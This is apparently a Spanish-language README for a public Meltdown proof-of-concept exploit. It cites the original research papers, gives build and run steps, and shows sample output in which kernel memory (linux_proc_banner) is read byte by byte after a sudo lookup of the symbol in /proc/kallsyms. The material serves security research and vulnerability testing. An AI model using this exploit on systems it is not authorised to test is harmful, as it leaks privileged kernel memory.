paboldin/meltdown-exploitMeltdown Exploit PoC
Las optimizaciones especulativas ejecutan código de manera no segura dejando rastros de datos en la microarquitectura, como en la caché.
Lipp et al. 2018 publicaron su código el 2018-01-09 en https://github.com/IAIK/meltdown. Consulte su artículo para más detalles: https://meltdownattack.com/meltdown.pdf.
Por el momento solo puede volcar linux_proc_banner, ya que requiere que la memoria
accedida esté en caché y linux_proc_banner se almacena en caché en cada lectura de
/proc/version. Podría funcionar con prefetch. Funciona con sched_yield.
Compile con make, ejecute con ./run.sh.
Todavía no puede vencer a KASLR, por lo que es posible que deba ingresar su contraseña para encontrar
linux_proc_banner en /proc/kallsyms (o hacerlo manualmente).
El enfoque Flush+Reload y la matriz objetivo están tomados del artículo sobre spectre https://spectreattack.com/spectre.pdf implementado siguiendo pistas de https://cyber.wtf/2017/07/28/negative-result-reading-kernel-memory-from-user-mode/.
La caja de Pandora está abierta.
Eche un vistazo al exploit completo que funciona con la versión de IAIK en mi máquina.
Resultado:
$ make
cc -O2 -msse2 -c -o meltdown.o meltdown.c
cc meltdown.o -o meltdown
$ ./run.sh
looking for linux_proc_banner in /proc/kallsyms
protected. requires root
+ find_linux_proc_banner /proc/kallsyms sudo
+ sudo awk
/linux_proc_banner/ {
if (strtonum("0x"$1))
print $1;
exit 0;
} /proc/kallsyms
+ linux_proc_banner=ffffffffa3e000a0
+ set +x
cached = 29, uncached = 271, threshold 88
read ffffffffa3e000a0 = 25 %
read ffffffffa3e000a1 = 73 s
read ffffffffa3e000a2 = 20
read ffffffffa3e000a3 = 76 v
read ffffffffa3e000a4 = 65 e
read ffffffffa3e000a5 = 72 r
read ffffffffa3e000a6 = 73 s
read ffffffffa3e000a7 = 69 i
read ffffffffa3e000a8 = 6f o
read ffffffffa3e000a9 = 6e n
read ffffffffa3e000aa = 20
read ffffffffa3e000ab = 25 %
read ffffffffa3e000ac = 73 s
read ffffffffa3e000ad = 20
read ffffffffa3e000ae = 28 (
read ffffffffa3e000af = 62 b
read ffffffffa3e000b0 = 75 u
read ffffffffa3e000b1 = 69 i
read ffffffffa3e000b2 = 6c l
read ffffffffa3e000b3 = 64 d
read ffffffffa3e000b4 = 64 d
read ffffffffa3e000b5 = 40 @
VULNERABLE
VULNERABLE ON
4.10.0-42-generic #46~16.04.1-Ubuntu SMP Mon Dec 4 15:57:59 UTC 2017 x86_64
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 158
model name : Intel(R) Core(TM) i7-7700HQ CPU @ 2.80GHz
stepping : 9
microcode : 0x5e
cpu MHz : 3499.316
cache size : 6144 KB
physical id : 0
La lista de CPU/Kernels vulnerables se trasladó aquí: https://github.com/paboldin/meltdown-exploit/issues/19
La lista de CPU/Kernels no vulnerables se trasladó aquí: https://github.com/paboldin/meltdown-exploit/issues/22